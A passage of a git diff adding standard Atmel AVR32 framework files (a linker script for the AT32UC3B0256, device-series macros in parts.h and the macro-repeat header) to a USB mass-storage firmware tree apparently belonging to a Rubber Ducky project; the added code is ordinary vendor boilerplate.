48000000 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // AVR32_PM_CPU_MAX_FREQ + +#ifndef AVR32_PM_HSB_MAX_FREQ +#define AVR32_PM_HSB_MAX_FREQ 48000000 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // AVR32_PM_HSB_MAX_FREQ + +#ifndef AVR32_PM_PBA_MAX_FREQ +#define AVR32_PM_PBA_MAX_FREQ 48000000 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // AVR32_PM_PBA_MAX_FREQ + +#ifndef AVR32_PM_PBB_MAX_FREQ +#define AVR32_PM_PBB_MAX_FREQ 48000000 +#else +#warning "Duplicate define(s) to remove from the ASF" +#endif // AVR32_PM_PBB_MAX_FREQ + +#endif // end UC3D + +#endif // _UC3D_DEFINES_FIX diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds new file mode 100755 index 0000000..cc8e4ec --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds @@ -0,0 +1,272 @@ +/****************************************************************************** + * AVR32 AT32UC3B0256 GNU LD script file. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: AVR32 AT32UC3B0256 + * + * - author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/** + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +OUTPUT_FORMAT("elf32-avr32", "elf32-avr32", "elf32-avr32") + +OUTPUT_ARCH(avr32:uc) + +ENTRY(_start) + +MEMORY +{ + FLASH (rxai!w) : ORIGIN = 0x80000000, LENGTH = 0x00040000 + INTRAM (wxa!ri) : ORIGIN = 0x00000004, LENGTH = 0x00007FFC + USERPAGE : ORIGIN = 0x80800000, LENGTH = 0x00000200 +} + +PHDRS +{ + FLASH PT_LOAD; + INTRAM_ALIGN PT_NULL; + INTRAM_AT_FLASH PT_LOAD; + INTRAM PT_NULL; + USERPAGE PT_LOAD; +} + +SECTIONS +{ + /* If this heap size is selected, all the INTRAM space from the end of the + data area to the beginning of the stack will be allocated for the heap. */ + __max_heap_size__ = -1; + + /* Use a default heap size if heap size was not defined. */ + __heap_size__ = DEFINED(__heap_size__) ? __heap_size__ : __max_heap_size__; + + /* Use a default stack size if stack size was not defined. */ + __stack_size__ = DEFINED(__stack_size__) ? __stack_size__ : 4K; + + /* Read-only sections, merged into text segment: */ + PROVIDE (__executable_start = 0x80000000); . = 0x80000000; + .interp : { *(.interp) } >FLASH AT>FLASH :FLASH + .reset : { *(.reset) } >FLASH AT>FLASH :FLASH + .hash : { *(.hash) } >FLASH AT>FLASH :FLASH + .dynsym : { *(.dynsym) } >FLASH AT>FLASH :FLASH + .dynstr : { *(.dynstr) } >FLASH AT>FLASH :FLASH + .gnu.version : { *(.gnu.version) } >FLASH AT>FLASH :FLASH + .gnu.version_d : { *(.gnu.version_d) } >FLASH AT>FLASH :FLASH + .gnu.version_r : { *(.gnu.version_r) } >FLASH AT>FLASH :FLASH + .rel.init : { *(.rel.init) } >FLASH AT>FLASH :FLASH + .rela.init : { *(.rela.init) } >FLASH AT>FLASH :FLASH + .rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rel.fini : { *(.rel.fini) } >FLASH AT>FLASH :FLASH + .rela.fini : { *(.rela.fini) } >FLASH AT>FLASH :FLASH + .rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rel.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rela.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rel.ctors : { *(.rel.ctors) } >FLASH AT>FLASH :FLASH + .rela.ctors : { *(.rela.ctors) } >FLASH AT>FLASH :FLASH + .rel.dtors : { *(.rel.dtors) } >FLASH AT>FLASH :FLASH + .rela.dtors : { *(.rela.dtors) } >FLASH AT>FLASH :FLASH + .rel.got : { *(.rel.got) } >FLASH AT>FLASH :FLASH + .rela.got : { *(.rela.got) } >FLASH AT>FLASH :FLASH + .rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rel.plt : { *(.rel.plt) } >FLASH AT>FLASH :FLASH + .rela.plt : { *(.rela.plt) } >FLASH AT>FLASH :FLASH + .init : + { + KEEP (*(.init)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .plt : { *(.plt) } >FLASH AT>FLASH :FLASH + .text : + { + *(.text .stub .text.* .gnu.linkonce.t.*) + KEEP (*(.text.*personality*)) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .fini : + { + KEEP (*(.fini)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rodata1 : { *(.rodata1) } >FLASH AT>FLASH :FLASH + .eh_frame_hdr : { *(.eh_frame_hdr) } >FLASH AT>FLASH :FLASH + .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } >FLASH AT>FLASH :FLASH + .gcc_except_table : ONLY_IF_RO { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >FLASH AT>FLASH :FLASH + .lalign : { . = ALIGN(8); PROVIDE(_data_lma = .); } >FLASH AT>FLASH :FLASH + . = ORIGIN(INTRAM); + .dalign : { . = ALIGN(8); PROVIDE(_data = .); } >INTRAM AT>INTRAM :INTRAM_ALIGN + /* Exception handling */ + .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .gcc_except_table : ONLY_IF_RW { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Thread Local Storage sections */ + .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + PROVIDE (__preinit_array_start = ALIGN(32 / 8)); + .preinit_array : { KEEP (*(.preinit_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { KEEP (*(.init_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { KEEP (*(.fini_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__fini_array_end = .); + .ctors : + { + /* gcc uses crtbegin.o to find the start of + the constructors, so we make sure it is + first. Because this is a wildcard, it + doesn't matter if the user does not + actually link against crtbegin.o; the + linker won't look for a file to match a + wildcard. The wildcard also means that it + doesn't matter which directory crtbegin.o + is in. */ + KEEP (*crtbegin*.o(.ctors)) + /* We don't want to include the .ctor section from + from the crtend.o file until after the sorted ctors. + The .ctor section from the crtend file contains the + end of ctors marker and it must be last */ + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dtors : + { + KEEP (*crtbegin*.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .jcr : { KEEP (*(.jcr)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data.rel.ro : { *(.data.rel.ro.local) *(.data.rel.ro*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dynamic : { *(.dynamic) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .got : { *(.got.plt) *(.got) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ramtext : { *(.ramtext .ramtext.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ddalign : { . = ALIGN(8); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data : + { + *(.data .data.* .gnu.linkonce.d.*) + KEEP (*(.gnu.linkonce.d.*personality*)) + SORT(CONSTRUCTORS) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data1 : { *(.data1) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .balign : { . = ALIGN(8); PROVIDE(_edata = .); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (edata = .); + __bss_start = .; + .bss : + { + *(.dynbss) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + /* Align here to ensure that the .bss section occupies space up to + _end. Align after .bss to ensure correct alignment even if the + .bss section disappears because there are no input sections. */ + . = ALIGN(8); + } >INTRAM AT>INTRAM :INTRAM + . = ALIGN(8); + _end = .; + PROVIDE (end = .); + __heap_start__ = ALIGN(8); + .heap : + { + *(.heap) + . = (__heap_size__ == __max_heap_size__) ? + ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ - ABSOLUTE(.) : + __heap_size__; + } >INTRAM AT>INTRAM :INTRAM + __heap_end__ = .; + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 2 */ + .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } + .stack ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ : + { + _stack = .; + *(.stack) + . = __stack_size__; + _estack = .; + } >INTRAM AT>INTRAM :INTRAM + .userpage : { *(.userpage .userpage.*) } >USERPAGE AT>USERPAGE :USERPAGE + /DISCARD/ : { *(.note.GNU-stack) } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/parts.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/parts.h new file mode 100755 index 0000000..ba73ba4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/parts.h @@ -0,0 +1,231 @@ +/***************************************************************************** + * + * \file + * + * \brief Arch file for AVR32. + * + * This file defines common AVR32 UC3 series. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _ARCH_H_ +#define _ARCH_H_ + +// UC3 A Series +#define UC3A0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A0128__) || \ + defined (__AVR32_UC3A0256__) || \ + defined (__AVR32_UC3A0512__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A0128__) || \ + defined (__AT32UC3A0256__) || \ + defined (__AT32UC3A0512__)))) + +#define UC3A1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A1128__) || \ + defined (__AVR32_UC3A1256__) || \ + defined (__AVR32_UC3A1512__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A1128__) || \ + defined (__AT32UC3A1256__) || \ + defined (__AT32UC3A1512__)))) + +#define UC3A3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A364__) || \ + defined (__AVR32_UC3A364S__) || \ + defined (__AVR32_UC3A3128__) || \ + defined (__AVR32_UC3A3128S__) || \ + defined (__AVR32_UC3A3256__) || \ + defined (__AVR32_UC3A3256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A364__) || \ + defined (__AT32UC3A364S__) || \ + defined (__AT32UC3A3128__) || \ + defined (__AT32UC3A3128S__) || \ + defined (__AT32UC3A3256__) || \ + defined (__AT32UC3A3256S__)))) + +#define UC3A4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A464__) || \ + defined (__AVR32_UC3A464S__) || \ + defined (__AVR32_UC3A4128__) || \ + defined (__AVR32_UC3A4128S__) || \ + defined (__AVR32_UC3A4256__) || \ + defined (__AVR32_UC3A4256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A464__) || \ + defined (__AT32UC3A464S__) || \ + defined (__AT32UC3A4128__) || \ + defined (__AT32UC3A4128S__) || \ + defined (__AT32UC3A4256__) || \ + defined (__AT32UC3A4256S__)))) + +#define UC3A (UC3A0 || UC3A1 || UC3A3 || UC3A4) + +// UC3 B Series +#define UC3B0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B064__) || \ + defined (__AVR32_UC3B0128__) || \ + defined (__AVR32_UC3B0256__) || \ + defined (__AVR32_UC3B0512__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B064__) || \ + defined (__AT32UC3B0128__) || \ + defined (__AT32UC3B0256__) || \ + defined (__AT32UC3B0512__)))) + +#define UC3B1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B164__) || \ + defined (__AVR32_UC3B1128__) || \ + defined (__AVR32_UC3B1256__) || \ + defined (__AVR32_UC3B1512__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B164__) || \ + defined (__AT32UC3B1128__) || \ + defined (__AT32UC3B1256__) || \ + defined (__AT32UC3B1512__)))) + +#define UC3B (UC3B0 || UC3B1 ) + +// UC3 C Series +#define UC3C0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064C__) || \ + defined (__AVR32_UC3C0128C__) || \ + defined (__AVR32_UC3C0256C__) || \ + defined (__AVR32_UC3C0512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064C__) || \ + defined (__AT32UC3C0128C__) || \ + defined (__AT32UC3C0256C__) || \ + defined (__AT32UC3C0512C__)))) + +#define UC3C1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164C__) || \ + defined (__AVR32_UC3C1128C__) || \ + defined (__AVR32_UC3C1256C__) || \ + defined (__AVR32_UC3C1512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164C__) || \ + defined (__AT32UC3C1128C__) || \ + defined (__AT32UC3C1256C__) || \ + defined (__AT32UC3C1512C__)))) + +#define UC3C2 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264C__) || \ + defined (__AVR32_UC3C2128C__) || \ + defined (__AVR32_UC3C2256C__) || \ + defined (__AVR32_UC3C2512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264C__) || \ + defined (__AT32UC3C2128C__) || \ + defined (__AT32UC3C2256C__) || \ + defined (__AT32UC3C2512C__)))) + + +#define UC3C (UC3C0 || UC3C1 || UC3C2 ) + +// UC3 D Device series +#define UC3D3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC128D3__) || \ + defined (__AVR32_UC64D3__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC128D3__) || \ + defined (__AT32UC64D3__) ))) + +#define UC3D4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC128D4__) || \ + defined (__AVR32_UC64D4__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC128D4__) || \ + defined (__AT32UC64D4__) ))) + +#define UC3D (UC3D3 || UC3D4) + +// UC3 L Device series +#define UC3L0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L016__) || \ + defined (__AVR32_UC3L032__) || \ + defined (__AVR32_UC3L064__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L016__) || \ + defined (__AT32UC3L032__) || \ + defined (__AT32UC3L064__)))) + +#define UC3L3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC64L3U__) || \ + defined (__AVR32_UC128L3U__) || \ + defined (__AVR32_UC256L3U__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__ATUC64L3U__) || \ + defined (__ATUC128L3U__) || \ + defined (__ATUC256L3U__)))) +#define UC3L4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC64L4U__) || \ + defined (__AVR32_UC128L4U__) || \ + defined (__AVR32_UC256L4U__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__ATUC64L4U__) || \ + defined (__ATUC128L4U__) || \ + defined (__ATUC256L4U__)))) + +#define UC3L3_L4 (UC3L3 || UC3L4) + +#define UC3L0128 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L0128__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L0128__)))) + +#define UC3L0256 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L0256__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L0256__)))) + +#define UC3L ( UC3L0 || UC3L0128 || UC3L0256 || UC3L3_L4) + +#define UC3 (UC3A || UC3B || UC3C || UC3D || UC3L) + +#if ((defined __GNUC__) && (defined __AVR32__)) || (defined __ICCAVR32__ || defined __AAVR32__) +# if (UC3) +# include +# endif +#endif + +#if (UC3D) +#include "header_files/uc3d_defines_fix.h" +#endif + +#endif // _ARCH_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/mrepeat.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/mrepeat.h new file mode 100755 index 0000000..79a882a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/preprocessor/mrepeat.h @@ -0,0 +1,335 @@ +/***************************************************************************** + * + * \file + * + * \brief Preprocessor macro repeating utils. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _MREPEAT_H_ +#define _MREPEAT_H_ + +/** + * \defgroup group_avr32_utils_mrepeat Preprocessor - Macro Repeat + * + * \ingroup group_avr32_utils + * + * \{ + */ + +#include "preprocessor.h" + + +//! Maximal number of repetitions supported by MREPEAT. +#define MREPEAT_LIMIT 256 + +/*! \brief Macro repeat. + * + * This macro represents a horizontal repetition construct. + * + * \param count The number of repetitious calls to macro. Valid values range from 0 to MREPEAT_LIMIT. + * \param macro A binary operation of the form macro(n, data). This macro is expanded by MREPEAT with + * the current repetition number and the auxiliary data argument. + * \param data Auxiliary data passed to macro. + * + * \return macro(0, data) macro(1, data) ... macro(count - 1, data) + */ +#define MREPEAT(count, macro, data) TPASTE2(MREPEAT, count)(macro, data) + +#define MREPEAT0( macro, data) +#define MREPEAT1( macro, data) MREPEAT0( macro, data) macro( 0, data) +#define MREPEAT2( macro, data) MREPEAT1( macro, data) macro( 1, data) +#define MREPEAT3( macro, data) MREPEAT2( macro, data) macro( 2, data) +#define MREPEAT4( macro, data) MREPEAT3( macro, data) macro( 3, data) +#define MREPEAT5( macro, data) MREPEAT4( macro, data) macro( 4, data) +#define MREPEAT6( macro, data) MREPEAT5( macro, data) macro( 5, data) +#define MREPEAT7( macro, data) MREPEAT6( macro, data) macro( 6, data) +#define MREPEAT8( macro, data) MREPEAT7( macro, data) macro( 7, data) +#define MREPEAT9( macro, data) MREPEAT8( macro, data) macro( 8, data) +#define MREPEAT10( macro, data) MREPEAT9( macro, data) macro( 9, data) +#define MREPEAT11( macro, data) MREPEAT10( macro, data) macro( 10, data) +#define MREPEAT12( macro, data) MREPEAT11( macro, data) macro( 11, data) +#define MREPEAT13( macro, data) MREPEAT12( macro, data) macro( 12, data) +#define MREPEAT14( macro, data) MREPEAT13( macro, data) macro( 13, data) +#define MREPEAT15( macro, data) MREPEAT14( macro, data) macro( 14, data) +#define MREPEAT16( macro, data) MREPEAT15( macro, data) macro( 15, data) +#define MREPEAT17( macro, data) MREPEAT16( macro, data) macro( 16, data) +#define MREPEAT18( macro, data) MREPEAT17( macro, data) macro( 17, data) +#define MREPEAT19( macro, data) MREPEAT18( macro, data) macro( 18, data) +#define MREPEAT20( macro, data) MREPEAT19( macro, data) macro( 19, data) +#define MREPEAT21( macro, data) MREPEAT20( macro, data) macro( 20, data) +#define MREPEAT22( macro, data) MREPEAT21( macro, data) macro( 21, data) +#define MREPEAT23( macro, data) MREPEAT22( macro, data) macro( 22, data) +#define MREPEAT24( macro, data) MREPEAT23( macro, data) macro( 23, data) +#define MREPEAT25( macro, data) MREPEAT24( macro, data) macro( 24, data) +#define MREPEAT26( macro, data) MREPEAT25( macro, data) macro( 25, data) +#define MREPEAT27( macro, data) MREPEAT26( macro, data) macro( 26, data) +#define MREPEAT28( macro, data) MREPEAT27( macro, data) macro( 27, data) +#define MREPEAT29( macro, data) MREPEAT28( macro, data) macro( 28, data) +#define MREPEAT30( macro, data) MREPEAT29( macro, data) macro( 29, data) +#define MREPEAT31( macro, data) MREPEAT30( macro, data) macro( 30, data) +#define MREPEAT32( macro, data) MREPEAT31( macro, data) macro( 31, data) +#define MREPEAT33( macro, data) MREPEAT32( macro, data) macro( 32, data) +#define MREPEAT34( macro, data) MREPEAT33( macro, data) macro( 33, data) +#define MREPEAT35( macro, data) MREPEAT34( macro, data) macro( 34, data) +#define MREPEAT36( macro, data) MREPEAT35( macro, data) macro( 35, data) +#define MREPEAT37( macro, data) MREPEAT36( macro, data) macro( 36, data) +#define MREPEAT38( macro, data) MREPEAT37( macro, data) macro( 37, data) +#define MREPEAT39( macro, data) MREPEAT38( macro, data) macro( 38, data) +#define MREPEAT40( macro, data) MREPEAT39( macro, data) macro( 39, data) +#define MREPEAT41( macro, data) MREPEAT40( macro, data) macro( 40, data) +#define MREPEAT42( macro, data) MREPEAT41( macro, data) macro( 41, data) +#define MREPEAT43( macro, data) MREPEAT42( macro, data) macro( 42, data) +#define MREPEAT44( macro, data) MREPEAT43( macro, data) macro( 43, data) +#define MREPEAT45( macro, data) MREPEAT44( macro, data) macro( 44, data) +#define MREPEAT46( macro, data) MREPEAT45( macro, data) macro( 45, data) +#define MREPEAT47( macro, data) MREPEAT46( macro, data) macro( 46, data) +#define MREPEAT48( macro, data) MREPEAT47( macro, data) 